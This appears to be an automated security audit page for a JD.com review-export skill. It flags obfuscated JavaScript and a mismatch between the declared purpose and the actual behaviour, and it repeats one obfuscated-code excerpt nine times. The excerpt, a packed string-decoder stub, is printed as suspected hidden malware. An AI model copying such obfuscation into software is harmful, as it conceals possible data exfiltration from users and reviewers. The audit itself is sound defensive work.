Back to skill

Security audit

京东商品评价导出 · JD Review Export — 商品评价一键采集为本地表格

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its JD review export purpose, but it includes an obfuscated executable helper and can pass logged-in JD account identifiers to a local LLM path, so it needs careful review before installation.

Install only if you are comfortable letting the skill drive your logged-in Chrome session on JD.com and save review exports locally. Prefer a dedicated browser profile, keep the LLM endpoint local unless you intentionally trust another endpoint, and choose an output directory where overwriting res.json, data.md, or reviews.md would not matter.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (20)

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
99% confidence
Finding

The giant encoded string blob is a hallmark of packed malware-style JavaScript and serves no legitimate need for a simple review exporter. Encoded payload storage makes it harder to detect hidden endpoints, commands, or logic branches during review.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The implementation is an obfuscated generic LLM client that reads arbitrary prompt input, posts it to a configurable external endpoint, and writes the response to disk, which does not match the declared JD review scraping/export capability. This kind of capability mismatch is dangerous because it can disguise unauthorized data exfiltration or remote-content generation behind an innocuous manifest.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
